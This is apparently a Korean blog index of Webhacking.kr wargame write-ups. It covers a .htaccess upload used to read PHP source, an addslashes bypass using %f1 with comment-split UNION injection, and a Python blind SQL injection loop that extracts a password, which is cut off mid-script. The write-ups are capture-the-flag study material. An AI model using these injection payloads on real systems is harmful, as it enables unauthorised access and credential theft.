목록Webhacking.kr (47)
Bace
문제는 다음과 같다. flag.php 파일을 읽으라고 해서 들어가봤는데 빈 화면이 나온다. 출력문을 넣지 않아서 출력이 안되는 것 같다. php를 실행되지 않게 해서 php 파일 자체의 내용을 읽기 위해 .htaccess 파일을 올려보았다. 여기서 .htaccess 파일이란 디렉토리 설정을 변경할 수 있는 파일을 말한다. .htaccess 파일의 내용은 다음과 같다. 파일을 올리면 업로드 되었다고 나온다. 이제 php 파일을 들어가보면 flag가 뜬다. # Auth
문제는 다음과 같다. 제출을 누르면 level : 1 이 나온다. 소스를 보면 id와 pw 부분에 addslashes를 넣었고, id 부분에 mb_convert_encoding, union 필터링이 걸려있다. 그리고 from, pw, (, ), 공백, %, =, >, < 를 쓰지 못하게 되어있다. 이를 우회하기 위해 id 부분에서 addslash를 우회하기 위해 %f1 다음에 ' 를 넣어주었고, pw 부분을 /**/를 통해 주석 처리 했다. 이후 공백 우회를 위해 %0a를 넣어서 union%0aselect%0a3%23 로 보내주었다. ?id=%f1'/*&pw=*/union%0aselect%0a3%23 solve
문제는 다음과 같다. Result 값으로는 login success, login fail, wrong password가 나온다. wrong password를 통해 문제를 풀면 될 것 같다. length는 ?id=admin&pw=%27%20or%20length(pw)=36%23 을 통해 36자리라는 것을 알았다. 이 후에는 코드를 통해 비밀번호를 찾았다. import requests answer = '' for i in range(1,37): for j in range(33,128): url = "https://webhacking.kr/challenge/bonus-1/?id=admin&pw=' or ascii(substr(pw,{},1))={}%23".format(i,j) cookies = {'PHPSES..